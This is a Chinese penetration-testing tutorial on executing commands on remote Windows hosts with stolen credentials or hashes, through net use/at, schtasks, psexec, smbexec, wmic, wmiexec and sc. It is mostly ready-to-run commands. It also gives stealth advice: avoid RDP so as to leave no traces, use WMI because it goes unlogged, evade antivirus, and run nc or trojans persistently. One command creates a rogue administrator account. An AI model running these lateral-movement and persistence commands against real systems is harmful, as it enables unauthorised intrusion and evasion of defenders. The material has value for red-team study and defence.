> 本文作者：t3st@信安之路

当我们已经获取了远程系统的凭证（明文密码或 hash）时，可以直接通过3389远程登录进去收集信息、进行下一步的渗透，但是这样做的话会在系统上留下我们的操作记录，而且有可能邂逅管理员。大部分情况下，一个cmdshell 已经可以满足我们继续渗透的需求，所以不到万不得已的时候最好不要远程桌面连接(mstsc)，而是通过远程执行命令的方式继续开展工作。本文整理了一些远程执行命令的姿势，测试环境如下：

```
CODE: [  ]
远程系统:
   IP：192.168.17.138
     用户名：Administrator
     密码：!@#123QWE
     所属本地组：Administrators

     用户名：test
     密码：!@#123QWE
     所属本地组：Administrators、Users
```

关于 LocalAccountTokenFilterPolicy 的说明

在 Windows Vista 以后的操作系统中，LocalAccountTokenFilterPolicy 的默认值为0，这种情况下内置账户Administrator 进行远程连接时会直接得到具有管理员凭证的令牌，而非 Administrator 的本地管理员账户进行远程连接（比如 ipc 连接、wmi 连接）时，会得到一个删除了管理员凭证的令牌。域用户不受此影响，也不在我们讨论的范围内。也就是说只有 Administrator 账号才能建立需要管理员权限的远程连接，其他本地管理员账户建立需要管理员权限的远程连接时则会提示权限不足。可以通过以下方法修改远程系统上LocalAccountTokenFilterPolicy 条目的值，使得非 Administrator 的本地管理员建立连接时也可以得到具有管理员凭证的令牌，即可正常通过各种方式远程执行命令。

修改 LocalAccountTokenFilterPolicy 为1：

```
reg add
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system
/v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

恢复 LocalAccountTokenFilterPolicy 为0(删除后需要重启 explorer.exe 才能使修改生效)

```
reg delete
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system
/v LocalAccountTokenFilterPolicy /f
```

net use + at

常用命令

建立一个 ipc 连接

```
net use \192.168.17.138\C$ "!@#123QWE"
/u:"workgroup\Administrator"
```

拷贝文件到远程系统上

```
copy s.exe \192.168.17.138\c$\RECYCLER\
```

查看远程主机当前时间

```
net time \192.168.17.138
```

添加计划任务在远程系统上执行命令

```
at \192.168.17.138 15:18 cmd.exe /c "ipconfig /all >
c:\programdata\error.log"
```

添加计划任务在远程系统上执行 bat 脚本

```
at \192.168.17.138 15:18 c:\programdata\test.bat
```

查看 at 任务列表

```
at \192.168.17.138
```

删除 at 计划任务，运行完成后一定要删除计划任务！

```
at \192.168.17.138 1 /delete
```

查看所有 ipc 连接

```
net use
```

删除指定 ipc 连接

```
net use \192.168.17.138\C$ /del
```

删除所有 ipc 连接（删除前记得确认是否都是自己测试中建立的连接）

```
net use * /del /y
```

其它命令

映射远程磁盘到本地

```
net use z: \192.168.17.138\C$
```

删除共享映射

```
net use z: /del
```

查看远程主机开启的默认共享

```
net view \192.168.17.138
```

常见连接错误号原因分析

- 错误号 5，拒绝访问：权限不足。管理员用户遇到这个错误时，可参考 LocalAccountTokenFilterPolicy 解决
- 错误号 51，Windows 无法找到网络路径：网络有问题；
- 错误号 53，找不到网络路径：ip 地址错误；目标未开机；目标 lanmanserver 服务未启动；目标有防火墙（端口过滤）；
- 错误号 67，找不到网络名：你的 lanmanworkstation 服务未启动或者目标删除了共享；
- 错误号 1219，提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个 ipc 连接，请删除再连；
- 错误号 1326，未知的用户名或错误密码：原因很明显了；
- 错误号 1792，试图登录，但是网络登录服务没有启动：目标 NetLogon 服务未启动；
- 错误号 2242，此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。

工具说明

- 需要远程系统启动 Task Scheduler 服务

- at 会以 system 权限在远程系统上执行命令

schtasks

常用命令

在远程系统建立计划任务(计划运行时会以 system 权限在远程系统上执行单条命令)

```
schtasks /create /s 192.168.17.138 /u workgroup\administrator
/p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c netstat -
ano | findstr 3389 >> c:\programdata\error.log" /ru system /f
```

在远程系统建立计划任务(计划运行时会以 system 权限在远程系统上执行 bat 脚本)

```
schtasks /create /s 192.168.17.138 /u workgroup\administrator
/p "!@#123QWE" /tn test /sc onstart /tr c:\programdata\test.bat
/ru system /f
```

在远程系统建立计划任务(计划运行时会以管理员权限在远程系统上执行单条命令),注:这条命令不支持 hash 注入后省去用户名密码执行

```
schtasks /create /s 192.168.17.138 /u workgroup\administrator
/p "!@#123QWE" /tn test /sc onstart /tr "cmd.exe /c whoami /all
>> c:\programdata\error.log" /ru "workgroup\administrator"
```

查看建立的计划任务是否正确

```
schtasks /query /s 192.168.17.138 /u workgroup\administrator /p
"!@#123QWE" | findstr test
```

运行建立的计划任务

```
schtasks /run /s 192.168.17.138 /u workgroup\administrator /p
"!@#123QWE" /i /tn "test"
```

删除建立的计划任务

```
schtasks /delete /s 192.168.17.138 /u workgroup\administrator
/p "!@#123QWE" /tn "test" /f
```

工具说明

- 需要远程系统启动 Task Scheduler 服务

- schtasks 不需要 RPC 服务的支持
- 在条件允许的情况下，尽量使用 schtasks，因为在某些条件下，at 执行完任务后，任务信息没有删除（需要手动删除），用at命令查不到任务信息，但是用 schtasks 却能看到任务信息，任务名是At加一个数字(eg : At2)。

psexec

常用命令

获取管理员用户权限的交互式 shell

```
psexec \192.168.17.138 -u Administrator -p !@#123QWE cmd
```

获取普通用户权限的交互式 shell，原因参见 LocalAccountTokenFilterPolicy,要想获取管理员权限 shell ，需要添加 -h 参数。

```
psexec \192.168.17.138 -u test -p !@#123QWE cmd
```

在远程系统上以 system 权限执行单条命令，有时回显只有一行，原因尚不清楚。

```
psexec \192.168.17.138 -u Administrator -p !@#123QWE -s cmd /c
"quser"
```

在远程系统上执行 bat 脚本

```
psexec \192.168.17.138 -u Administrator -p !@#123QWE
c:\programdata\test.bat
```

拷贝文件到远程机器并以交互方式运行，运行结束后会删除

```
psexec \192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe
```

其它参数

```
CODE: [  ]
-accepteula 第一次运行会弹框,输入这个参数便不会弹框
-s 以 “nt authority\system” 权限运行远程进程
-h 如果可以，以管理员权限运行远程进程
-d 不等待程序执行完就返回，请只对非交互式应用程序使用此选项
\\ip 可以替换成 @ip.txt （存放多个 ip 的文本），可以批量执行命令
```

工具说明

- 需要远程系统开启 ADMIN$ 共享
- 建立 ipc 连接后可以不指定用户名和密码
- 不能仅拷贝文件不执行，只需要拷贝时可以建立 ipc 连接后c opy
- 在启动psExec建立连接之后，远程系统上会被安装一个服务：PSEXESVC。安装服务会留下日志，而且psexec退出时有可能服务删除失败，所以不推荐使用psexec。

smbexec

smbexec 是基于 psexec 修改的程序，加入了参数来指定默认共享，可以在目标为开启 admin$ 共享但开了其它共享时使用。

常用命令

建立 ipc 连接(参见net use + at)后，上传 execserver.exe 到远程系统上

```
copy execserver.exe \192.168.17.138\c$\windows
```

在远程系统上执行单条命令(以管理员权限执行命令)

```
test.exe 192.168.17.138 Administrator !@#123QWE "whoami /all"
c$
```

在远程系统上执行单条命令(以删除了管理员权限的普通用户权限执行命令，原因参见LocalAccountTokenFilterPolicy)

```
test.exe 192.168.17.138 test !@#123QWE "whoami /all" c$
```

在远程系统上执行 bat 脚本(以管理员权限执行命令)

```
test.exe 192.168.17.138 Administrator !@#123QWE
c:\programdata\test.bat ipc$
```

删除远程系统上的 execserver.exe

```
del \192.168.17.138\c$\windows\execserver.exe
```

工具说明

- smbexec会被很多杀软查杀，需自行免杀。

wmic

WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中，并由一组强大的工具集合组成，用于管理本地或远程的 Windows 系统,攻击者使用 wmi 来进行攻击,但 Windows 系统默认不会在日志中记录这些操作,可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。推荐使用 wmic 进行远程执行命令。

常用命令

在远程系统上执行 bat 脚本

```
wmic /node:192.168.17.138 /user:test /password:!@#123QWE
process call create c:\programdata\test.bat
```

在远程系统上执行单条命令

```
wmic /node:192.168.17.138 /user:test /password:!@#123QWE
process call create "cmd.exe /c net user test1 !@#123QWE /add
&& net localgroup administrators test1 /add
```

工具说明

1. 需要远程系统启动 Windows Management Instrumentation 服务，开放135端口
2. 远程系统的本地安全策略的“网络访问：本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
3. wmic 会以管理员权限在远程系统上执行命令
4. 防火墙开启将无法连接
5. 如果报错 "Invalid Global Switch" ，用双引号把包含-的结点括起来即可正常执行。

wmiexec

WMI 可以远程执行命令，大牛使用VBS脚本调用WMI来模拟 psexec 的功能，于是乎 WMIEXEC 就诞生了。基本上psexec 能用的地方，这个脚本也能够使用。

常用命令

获取半交互式shell

```
cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 test
!@#123QWE
```

在远程系统上执行单条命令

```
cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE
"cmdkey /list"
```

在远程系统上执行 bat 脚本

```
cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE
c:\programdata\test.bat
```

其它参数

```
-wait5000 表示这个命令等待5s后再读取结果，用于运行“运行时间长”的命令。
-persist 程序会在后台运行，不会有结果输出，而且会返回这个命令进程的PID，方便结束进程，用于运行 nc 或者木马程序。
```

下面这段代码在脚本的一开始，是控制结果文件路径、文件名、以及默认代码执行时间的，可以自行更改。

```
Const Path = "C:\"
Const FileName = "wmi.dll"
Const timeOut = 1200
```

工具说明

- 需要远程系统启动 Windows Management Instrumentation 服务，开放135端口
- 远程系统的本地安全策略的“网络访问：本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
- wmicexec.vbs 会以管理员权限在远程系统上执行命令
- virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm 查杀。

sc

常用命令

建立 ipc 连接(参见net use + at)后上传等待运行的 bat 脚本到目标系统上，创建服务（开启服务时会以system 权限在远程系统上执行 bat 脚本）

```
sc \192.168.17.138 create test binpath= "cmd.exe /c start
c:\programdata\test.bat"
```

开启服务，运行其它命令可以直接修改 bat 脚本内容

```
sc \192.168.17.138 start test
```

删除服务

```
sc \192.168.17.138 delete test
```

总结

当工具没有回显（at、wmic、sc、schtasks）的时候可以将命令执行结果重定向到文件，然后使用 type 来查看命令执行结果。如果执行的命令比较复杂，比如命令中包含双引号，可以将命令写成 bat 脚本拷贝到远程系统上，然后远程执行 bat 脚本。经测试，at、schtasks、psexec、wmic、wmiexec 和 sc 均支持 hash 注入后使用，在没有明文密码的情况下，可以 hash 注入后运行命令（去除命令中的用户名、密码参数）实现远程执行。
本文列出了常见远程执行命令的方法和技巧，我们使用的时候需要根据具体环境进行选择最合适的执行方式。小弟不才，如果文中有错误或者疏漏，希望各位表哥可以指出，万分感谢。欢迎大家来一起讨论远程执行命令的方式和技巧。

参考资料

丢掉PSEXEC来横向渗透
在远程系统上执行程序的技术整理
域渗透前置知识